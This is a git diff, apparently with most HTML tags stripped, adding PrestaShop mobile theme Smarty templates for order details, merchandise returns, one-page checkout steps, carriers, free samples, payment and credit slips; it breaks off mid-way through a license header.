isset($product.customizedDatas)} +
      • + {if $return_allowed}{/if} +

        {$product.product_name|escape:'htmlall':'UTF-8'}

        +

        {l s='Reference'} {if $product.product_reference}{$product.product_reference|escape:'htmlall':'UTF-8'}{else}--{/if}

        +

        {l s='Quantity'}

        +
        {$product.customizationQuantityTotal|intval}
        +

        {l s='Unit price'} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.unit_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.unit_price_tax_excl currency=$currency} + {/if} +

        +

        {l s='Total price'} + {if isset($customizedDatas.$productId.$productAttributeId)} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.total_customization_wt currency=$currency} + {else} + {convertPriceWithCurrency price=$product.total_customization currency=$currency} + {/if} + {else} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.total_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.total_price_tax_excl currency=$currency} + {/if} + {/if} +

        +
      • + {foreach from=$product.customizedDatas item='customization' key='customizationId'} +
      • + {if $return_allowed}

        {/if} +

        + {foreach from=$customization.datas key='type' item='datas'} + {if $type == $CUSTOMIZE_FILE} +

          + {foreach from=$datas item='data'} +
        • + {/foreach} +
        + {elseif $type == $CUSTOMIZE_TEXTFIELD} +
          {counter start=0 print=false} + {foreach from=$datas item='data'} + {assign var='customizationFieldName' value="Text #"|cat:$data.id_customization_field} +
        • {$data.name|default:$customizationFieldName}{l s=':'} {$data.value}
        • + {/foreach} +
        + {/if} + {/foreach} +

        +

        + {$customization.quantity|intval} +

        +
      • + {/foreach} +{/if*} +{* / TO CHECK ==========================*} + +{if $product.product_quantity > $product.customizationQuantityTotal} +
      • + {if $return_allowed}{/if} +

        + {if $product.download_hash && $invoice && $product.display_filename != ''} + {if isset($is_guest) && $is_guest} + id}&secure_key={$order->secure_key}")}" title="{l s='Download this product'}" data-ajax="false"> + {else} + + {/if} + {l s='Download product'} + {$product.product_name|escape:'htmlall':'UTF-8'} + + {else} + {$product.product_name|escape:'htmlall':'UTF-8'} + {/if} +

        +

        {l s='Reference'} {if $product.product_reference}{$product.product_reference|escape:'htmlall':'UTF-8'}{else}--{/if}

        +

        {l s='Quantity'}

        +
        {$productQuantity|intval}
        +

        {l s='Unit price'} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.unit_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.unit_price_tax_excl currency=$currency} + {/if} +

        +

        {l s='Total price'} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.total_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.total_price_tax_excl currency=$currency} + {/if} +

        + {if $return_allowed}{/if} +
      • +{/if} diff --git a/themes/default/_mobile/order-detail.tpl b/themes/default/_mobile/order-detail.tpl new file mode 100755 index 0000000..18d5581 --- /dev/null +++ b/themes/default/_mobile/order-detail.tpl @@ -0,0 +1,431 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +
        + + + + + + +
        {l s='Référence de la commande %s' sprintf=$order->getUniqReference()}
        {l s='- passée le'} {dateFormat date=$order->date_add full=0}
        {if $carrier->id}{l s='Carrier'} : {if $carrier->name == "0"}{$shop_name|escape:'htmlall':'UTF-8'}{else}{$carrier->name|escape:'htmlall':'UTF-8'}{/if}{/if}
        +
        +
        +

        [{l s='Suivi des commandes'}]

        +
        + +{if $order->gift} +

         {l s='You have requested gift wrapping for this order.'}

        +

        {l s='Message'} {$order->gift_message|nl2br}

        +{/if} +
        + +{if count($order_history)} +
        + + + + + + + + + {foreach from=$order_history item=state name="orderStates"} + + + + + {/foreach} + +
        {l s='Date'}{l s='Status'}
        {dateFormat date=$state.date_add full=1}{$state.ostate_name|escape:'htmlall':'UTF-8'}
        +
        +{/if} + +{if isset($followup)} +

        {l s='Click the following link to track the delivery of your order'}

        +{$followup|escape:'htmlall':'UTF-8'} +{/if} + +
        +

        {l s='Billing'}

        +
          + {foreach from=$inv_adr_fields name=inv_loop item=field_item} + {if $field_item eq "company" && isset($address_invoice->company)}
        • {$address_invoice->company|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "address2" && $address_invoice->address2}
        • {$address_invoice->address2|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "phone_mobile" && $address_invoice->phone_mobile}
        • {$address_invoice->phone_mobile|escape:'htmlall':'UTF-8'}
        • + {else} + {assign var=address_words value=" "|explode:$field_item} +
        • {foreach from=$address_words item=word_item name="word_loop"}{if !$smarty.foreach.word_loop.first} {/if}{$invoiceAddressFormatedValues[$word_item|replace:',':'']|escape:'htmlall':'UTF-8'}{/foreach}
        • + {/if} + + {/foreach} +
        +
        +
        +

        {l s='Delivery'}

        +
          isVirtual()}style="display:none;"{/if}> + {foreach from=$dlv_adr_fields name=dlv_loop item=field_item} + {if $field_item eq "company" && isset($address_delivery->company)}
        • {$address_delivery->company|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "address2" && $address_delivery->address2}
        • {$address_delivery->address2|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "phone_mobile" && $address_delivery->phone_mobile}
        • {$address_delivery->phone_mobile|escape:'htmlall':'UTF-8'}
        • + {else} + {assign var=address_words value=" "|explode:$field_item} +
        • {foreach from=$address_words item=word_item name="word_loop"}{if !$smarty.foreach.word_loop.first} {/if}{$deliveryAddressFormatedValues[$word_item|replace:',':'']|escape:'htmlall':'UTF-8'}{/foreach}
        • + {/if} + {/foreach} +
        +
        +
        +{$HOOK_ORDERDETAILDISPLAYED} +{if !$is_guest}
        {/if} +
        + + + + {if $return_allowed}{/if} + + + + {if $order->hasProductReturned()} + + {/if} + + + + + + {if $priceDisplay && $use_tax} + + + + + {/if} + + + + + {if $order->total_discounts > 0} + + + + + {/if} + {if $order->total_wrapping > 0} + + + + + {/if} + + + + + + + + + + + {foreach from=$products item=product name=products} + {if !isset($product.deleted)} + {assign var='productId' value=$product.product_id} + {assign var='productAttributeId' value=$product.product_attribute_id} + {if isset($product.customizedDatas)} + {assign var='productQuantity' value=$product.product_quantity-$product.customizationQuantityTotal} + {else} + {assign var='productQuantity' value=$product.product_quantity} + {/if} + + {if isset($product.customizedDatas)} + + {if $product.id_category_default==12} + {if $return_allowed}{/if} + + {else} + {if $return_allowed}{/if} + + {/if} + + + + {if $order->hasProductReturned()} + + {/if} + {if $product.id_category_default==12} + + {else} + + + {/if} + + {foreach $product.customizedDatas as $customizationPerAddress} + {foreach $customizationPerAddress as $customizationId => $customization} + + {if $return_allowed}{/if} + + + + + {/foreach} + {/foreach} + {/if} + + {if $product.product_quantity > $product.customizationQuantityTotal} + + {if $return_allowed}{/if} + + + + {if $order->hasProductReturned()} + + {/if} + + + + {/if} + {/if} + {/foreach} + {foreach from=$discounts item=discount} + + + + + + + {if $return_allowed} + + {/if} + + {/foreach} + +
        {l s='Reference'}{l s='Product'}{l s='Quantity'}{l s='Returned'}{l s='Prix unitaire'}{l s='Total price'}
          + {l s='Total products (tax excl.)'} {displayWtPriceWithCurrency price=$order->getTotalProductsWithoutTaxes() currency=$currency} +
          + {l s='Total products'} {if $use_tax}{l s='(tax incl.)'}{/if}: {displayWtPriceWithCurrency price=$order->getTotalProductsWithTaxes() currency=$currency} +
          + {l s='Total vouchers:'} {displayWtPriceWithCurrency price=$order->total_discounts currency=$currency convert=1} +
          + {l s='Total gift wrapping cost:'} {displayWtPriceWithCurrency price=$order->total_wrapping currency=$currency} +
          + {l s='Total shipping'} {if $use_tax}{l s='(tax incl.)'}{/if}: {displayWtPriceWithCurrency price=$order->total_shipping currency=$currency} +
          + {l s='Total TTC'} {displayWtPriceWithCurrency price=$order->total_paid currency=$currency} +
        {if $product.product_reference}{$product.product_reference}{else}{l s='Echantillon'}{/if} + + + {$product['qty_returned']} + + + + + +
        + {foreach from=$customization.datas key='type' item='datas'} + {if $type == $CUSTOMIZE_FILE} +
          + {foreach from=$datas item='data'} +
        • + {/foreach} +
        + {elseif $type == $CUSTOMIZE_TEXTFIELD} +
          {counter start=0 print=false} + {foreach from=$datas item='data'} + {assign var='customizationFieldName' value="Text #"|cat:$data.id_customization_field} +
        • {$data.name|default:$customizationFieldName} : {$data.value}
        • + {/foreach} +
        + {/if} + {/foreach} +
        + +
        + + + {$product['qty_returned']} + + + + +
        {$discount.name|escape:'htmlall':'UTF-8'}{l s='Voucher'} {$discount.name|escape:'htmlall':'UTF-8'}1 {if $discount.value != 0.00}-{/if}{convertPriceWithCurrency price=$discount.value currency=$currency} 
        +
        +
        +{if $order->getShipping()|count > 0} + + + + + + + + + + + + {foreach from=$order->getShipping() item=line} + + + + + + + + {/foreach} + +
        {l s='Date'}{l s='Carrier'}{l s='Weight'}{l s='Shipping cost'}{l s='Tracking number'}
        {$line.date_add}{$line.carrier_name}{if $line.weight > 0}{$line.weight|string_format:"%.3f"} {Configuration::get('PS_WEIGHT_UNIT')}{else}-{/if}{if $order->getTaxCalculationMethod() == $smarty.const.PS_TAX_INC}{displayPrice price=$line.shipping_cost_tax_incl currency=$currency->id}{else}{displayPrice price=$line.shipping_cost_tax_excl currency=$currency->id}{/if} + {if $line.tracking_number}{if $line.url && $line.tracking_number}{$line.tracking_number}{else}{$line.tracking_number}{/if}{else}-{/if} +
        +{/if} +
        +{if !$is_guest} + {if $return_allowed} +
        +

        {l s='Merchandise return'}

        +

        {l s='If you wish to return one or more products, please mark the corresponding boxes and provide an explanation for the return. When complete, click the button below.'}

        +

        + +

        +

        + + +

        +
        +
        + {/if} +
        + + {if count($messages)} +

        {l s='Messages'}

        +
        + + + + + + + + + {foreach from=$messages item=message name="messageList"} + + + + + {/foreach} + +
        {l s='From'}{l s='Message'}
        + {if isset($message.elastname) && $message.elastname} + {$message.efirstname|escape:'htmlall':'UTF-8'} {$message.elastname|escape:'htmlall':'UTF-8'} + {elseif $message.clastname} + {$message.cfirstname|escape:'htmlall':'UTF-8'} {$message.clastname|escape:'htmlall':'UTF-8'} + {else} + {$shop_name|escape:'htmlall':'UTF-8'} + {/if} +
        + {dateFormat date=$message.date_add full=1} +
        {$message.message|escape:'htmlall':'UTF-8'|nl2br}
        +
        + {/if} + {if isset($errors) && $errors} +
        +

        {if $errors|@count > 1}{l s='There are %d errors' sprintf=$errors|@count}{else}{l s='There is %d error' sprintf=$errors|@count}{/if}

        +
          + {foreach from=$errors key=k item=error} +
        1. {$error}
        2. + {/foreach} +
        +
        + {/if} + +{else} +

         {l s='You cannot return merchandise with a guest account'}

        +{/if} diff --git a/themes/default/_mobile/order-follow.tpl b/themes/default/_mobile/order-follow.tpl new file mode 100755 index 0000000..ab8a278 --- /dev/null +++ b/themes/default/_mobile/order-follow.tpl @@ -0,0 +1,75 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Return Merchandise Authorization (RMA)'}{/capture} +{include file='./page-title.tpl'} + +
        + {l s='My account'} + + {if isset($errorQuantity) && $errorQuantity}

        {l s='You do not have enough products to request an additional merchandise return.'}

        {/if} + {if isset($errorMsg) && $errorMsg}

        {l s='Please provide an explanation for your RMA.'}

        {/if} + {if isset($errorDetail1) && $errorDetail1}

        {l s='Please check at least one product you would like to return.'}

        {/if} + {if isset($errorDetail2) && $errorDetail2}

        {l s='For each product you wish to add, please specify the desired quantity.'}

        {/if} + {if isset($errorNotReturnable) && $errorNotReturnable}

        {l s='This order cannot be returned.'}

        {/if} + +

        {l s='Here is a list of pending merchandise returns'}.

        +
        + {if $ordersReturn && count($ordersReturn)} + + + + + + + + + + + + {foreach from=$ordersReturn item=return name=myLoop} + + + + + + + + {/foreach} + +
        {l s='Return'}{l s='Order'}{l s='Package status'}{l s='Date issued'}{l s='Return slip'}
        {l s='#'}{$return.id_order_return|string_format:"%06d"}{l s='#'}{$return.id_order|string_format:"%06d"}{$return.state_name|escape:'htmlall':'UTF-8'}{dateFormat date=$return.date_add full=0} + {if $return.state == 2} + {l s='Order return'} {l s='#'}{$return.id_order_return|string_format: + {l s='Print out'} + {else} + -- + {/if} +
        + + {else} +

        {l s='You have no merchandise return authorizations.'}

        + {/if} +
        +
        diff --git a/themes/default/_mobile/order-opc-address.tpl b/themes/default/_mobile/order-opc-address.tpl new file mode 100755 index 0000000..2393b56 --- /dev/null +++ b/themes/default/_mobile/order-opc-address.tpl @@ -0,0 +1,101 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Address'}{/capture} +{include file='./page-title.tpl'} + +
        +
        +
        +

        {l s='Delivery address'}

        + {if isset($delivery)} +
          +
        • {$delivery->firstname|escape:'htmlall':'UTF-8'} {$delivery->lastname|escape:'htmlall':'UTF-8'}
        • + {if $delivery->company} +
        • {$delivery->company|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$delivery->address1|escape:'htmlall':'UTF-8'}
        • + {if $delivery->address2} +
        • {$delivery->address2|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$delivery->postcode|escape:'htmlall':'UTF-8'} {$delivery->city|escape:'htmlall':'UTF-8'}
        • +
        • {$delivery->country|escape:'htmlall':'UTF-8'} {if $delivery_state}({$delivery_state|escape:'htmlall':'UTF-8'}){/if}
        • +
        + {/if} + + +
        +
        +

        {l s='Invoice address'}

        + {if isset($invoice)} +
          +
        • {$invoice->firstname|escape:'htmlall':'UTF-8'} {$invoice->lastname|escape:'htmlall':'UTF-8'}
        • + {if $invoice->company} +
        • {$invoice->company|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$invoice->address1|escape:'htmlall':'UTF-8'}
        • + {if $invoice->address2} +
        • {$invoice->address2|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$invoice->postcode|escape:'htmlall':'UTF-8'} {$invoice->city|escape:'htmlall':'UTF-8'}
        • +
        • {$invoice->country|escape:'htmlall':'UTF-8'} {if $invoice_state}({$invoice_state|escape:'htmlall':'UTF-8'}){/if}
        • +
        + {else} +

        {l s='You must specify your delivery and invoice address'}

        + {/if} + + +
        +
        + + {if $opc} + {assign var="back_order_page" value="order-opc.php"} + {else} + {assign var="back_order_page" value="order.php"} + {/if} + +

        {l s='Add a new address'}

        + +
        diff --git a/themes/default/_mobile/order-opc-carrier.tpl b/themes/default/_mobile/order-opc-carrier.tpl new file mode 100755 index 0000000..e5b3e64 --- /dev/null +++ b/themes/default/_mobile/order-opc-carrier.tpl @@ -0,0 +1,171 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Shipping:'}{/capture} +{include file='./page-title.tpl'} + + + + +
        +

        {l s='Choose your delivery method'}

        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} + {foreach $option_list as $key => $option} +
        + + +
        + {/foreach} + {/foreach} + {/if} +
        +
        + + +
        + + {if $giftAllowed} +

        {l s='Gift'}

        +

        + gift == 1}checked="checked"{/if} /> + +
        +       + {if $gift_wrapping_price > 0} + ({l s='Additional cost of'} + + {if $priceDisplay == 1}{convertPrice price=$total_wrapping_tax_exc_cost}{else}{convertPrice price=$total_wrapping_cost}{/if} + + {if $use_taxes}{if $priceDisplay == 1} {l s='(tax excl.)'}{else} {l s='(tax incl.)'}{/if}{/if}) + {/if} +

        +

        + + +

        + {/if} + +

        {l s='Terms of service'}

        +
        + + +
        +

        {l s='(Read Terms of Service)'}

        +
        diff --git a/themes/default/_mobile/order-opc-echantillons.tpl b/themes/default/_mobile/order-opc-echantillons.tpl new file mode 100755 index 0000000..69602ea --- /dev/null +++ b/themes/default/_mobile/order-opc-echantillons.tpl @@ -0,0 +1,31 @@ +
          +{foreach from=$echantillons item=echantillon} +
        • + +
          + {if $echantillon.quantity>0} + + + {else} +
          + +
          + {/if} +
          +
        • +{/foreach} +
        \ No newline at end of file diff --git a/themes/default/_mobile/order-opc-payment.tpl b/themes/default/_mobile/order-opc-payment.tpl new file mode 100755 index 0000000..407e443 --- /dev/null +++ b/themes/default/_mobile/order-opc-payment.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Payment: '}{/capture} +{include file='./page-title.tpl'} + +
        +
        + {$HOOK_PAYMENT} +
        +
        diff --git a/themes/default/_mobile/order-opc-rightColumn.tpl b/themes/default/_mobile/order-opc-rightColumn.tpl new file mode 100755 index 0000000..5c6475b --- /dev/null +++ b/themes/default/_mobile/order-opc-rightColumn.tpl @@ -0,0 +1,19 @@ + + + + {hook h="displayLeftColumn"} \ No newline at end of file diff --git a/themes/default/_mobile/order-opc-steps.tpl b/themes/default/_mobile/order-opc-steps.tpl new file mode 100755 index 0000000..dc6a6b7 --- /dev/null +++ b/themes/default/_mobile/order-opc-steps.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Assign a value to 'current_step' to display current style *} +{capture name="url_back"} +{if isset($back) && $back}back={$back}{/if} +{/capture} + +{if !isset($multi_shipping)} + {assign var='multi_shipping' value='0'} +{/if} + + + + {if $current_step=='payment'} + {assign var='idStep' value='3'} + {elseif $current_step=='shipping'} + {assign var='idStep' value='2'} + {else} + {assign var='idStep' value='1'} + {/if} + + diff --git a/themes/default/_mobile/order-opc.tpl b/themes/default/_mobile/order-opc.tpl new file mode 100755 index 0000000..b1122b0 --- /dev/null +++ b/themes/default/_mobile/order-opc.tpl @@ -0,0 +1,106 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Order'}{/capture} +{include file='./page-title.tpl'} + +{if $PS_CATALOG_MODE} +

        {l s='This store does not accept orders.'}

        +{else} + + + + {* if there is at least one product : checkout process *} + {if $productNumber} + + + {include file="./shopping-cart.tpl"} + + + {if $isLogged AND !$isGuest} + + {include file="./order-opc-address.tpl"} + + + {include file="./order-opc-carrier.tpl"} + + + {include file="./order-opc-payment.tpl"} + + {/if} + + {* else : warning *} + {else} +

        {l s='Your shopping cart is empty.'}

        + {/if} + +{/if} diff --git a/themes/default/_mobile/order-payment.tpl b/themes/default/_mobile/order-payment.tpl new file mode 100755 index 0000000..f4ebb4b --- /dev/null +++ b/themes/default/_mobile/order-payment.tpl @@ -0,0 +1,216 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + {hook h="displayBeforePayment"} + {*hook h="displayMobileShoppingCartTop"*} +{if !$opc} + +{/if} +
        + {capture name=path}{l s='Mon paiement'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Mon paiement'}]

        + {assign var="current_step" value="payment"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        + {include file="$tpl_dir./errors.tpl"} +
        {$HOOK_TOP_PAYMENT}
        + {if $HOOK_PAYMENT} +
        {$HOOK_PAYMENT}
        + {else} +

        {l s='No payment modules have been installed.'}

        + {/if} +
        +
        +
        +
        +

        {l s='Récapitulatif'}

        +

        {l s='Panier'}

        + + + + + + + + + + + + {if $echantillons && $echantillons_selected|@count>0} + + + + + {else} + + + + + {/if} + {if $carrier} + + + + + {/if} + + + + + + + + + {foreach from=$products item=product name=productLoop} + {if $product.id_category_default!=12} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='cannotModify' value=1} + {assign var='odd' value=$product@iteration%2} + {assign var='noDeleteButton' value=1} + {* Display the product line *} + {include file="./shopping-cart-product-line-step3.tpl"} + {/if} + {/foreach} + +
        +

        {l s='Total vouchers'}

        +
        + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_discounts_tax_exc*-1} + {else} + {displayPrice price=$total_discounts*-1} + {/if} + {else} + {displayPrice price=$total_discounts_tax_exc*-1} + {/if} +
        +

        {if $use_taxes} + {if $priceDisplay} + {if $display_tax_label}{l s='Total gift wrapping (tax excl.):'}{else}{l s='Total gift wrapping cost:'}{/if} + {else} + {if $display_tax_label}{l s='Total gift wrapping (tax incl.)'}{else}{l s='Total gift wrapping cost:'}{/if} + {/if} + {else} + {l s='Total gift wrapping cost:'} + {/if}

        +
        + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_wrapping_tax_exc} + {else} + {displayPrice price=$total_wrapping} + {/if} + {else} + {displayPrice price=$total_wrapping_tax_exc} + {/if} +
        +

        {l s='Echantillons'}

        + {assign var=compteur value=0} +

        {foreach from=$echantillons item=echantillon}{if IN_ARRAY($echantillon.id_product,$echantillons_selected)}{if $compteur>0}, {/if}{$echantillon.name}{assign var=compteur value=1}{/if} + {/foreach}

        +
        +

        {l s='Echantillons'}

        +

        {l s='Vous n\'avez pas sélectionné vos échantillons gratuits'} +

        {l s='Je choisis mes échantillons'} +

        +

        {$carrier->name} : {convertPrice price=$total_shipping}

        + {if $carrier->delay!=""}

        {l s='Livraison de votre commande'} {$carrier->delay}

        {/if} +
        +

        {l s='TOTAL'}

        +

        {l s='DONT TVA 19.6%'}

        + {l s='Modifier'} +
        + {displayPrice price=$total_price} + {displayPrice price=$total_tax} +
        +
        + + + {if $carrier->name!="Mondial Relay"} + {/if} + name=="Mondial Relay"} style="border:0"{/if}> +

        {l s='Adresse'}
        {l s='de facturation'}

        +
          +
        • {$invoice->firstname} {$invoice->lastname}
        • +
        • {$invoice->address1}
        • + {if $invoice->address2}
        • {$invoice->address2}
        • {/if} +
        • {$invoice->postcode} {$invoice->city}
        • +
        • {$invoice->country }
        • +
        + +
        + + {if $carrier->name!="Mondial Relay"} + {/if} + name=="Mondial Relay"} style="border:0"{/if}> + + + +
        +

        {l s='Adresse'}
        {l s='de livraison'}

        +
          +
        • {$delivery->firstname} {$delivery->lastname}
        • +
        • {$delivery->address1}
        • + {if $delivery->address2}
        • {$delivery->address2}
        • {/if} +
        • {$delivery->postcode} {$delivery->city}
        • +
        • {$delivery->country }
        • +
        +
        + +
        +
        +
        +

        {l s='Emballage cadeau :'} {if $cart->gift==0}{l s='NON'}{else}{l s='OUI'}{/if}

        +

        {l s='votre message personnalisé :'}

        +

        {$cart->gift_message}

        +

         

        +

        {l s='Modifier'}

        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        diff --git a/themes/default/_mobile/order-slip.tpl b/themes/default/_mobile/order-slip.tpl new file mode 100755 index 0000000..c5b3d35 --- /dev/null +++ b/themes/default/_mobile/order-slip.tpl @@ -0,0 +1,55 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Credit slips'}{/capture} +{include file='./page-title.tpl'} + +
        + {l s='My account'} + +

        {l s='Credit slips you have received after cancelled orders'}.

        +
        + {if $ordersSlip && count($ordersSlip)} + + + {else} +

        {l s='You have not received any credit slips.'}

        + {/if} +
        +
        diff --git a/themes/default/_mobile/order-steps.tpl b/themes/default/_mobile/order-steps.tpl new file mode 100755 index 0000000..34b7ca1 --- /dev/null +++ b/themes/default/_mobile/order-steps.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of 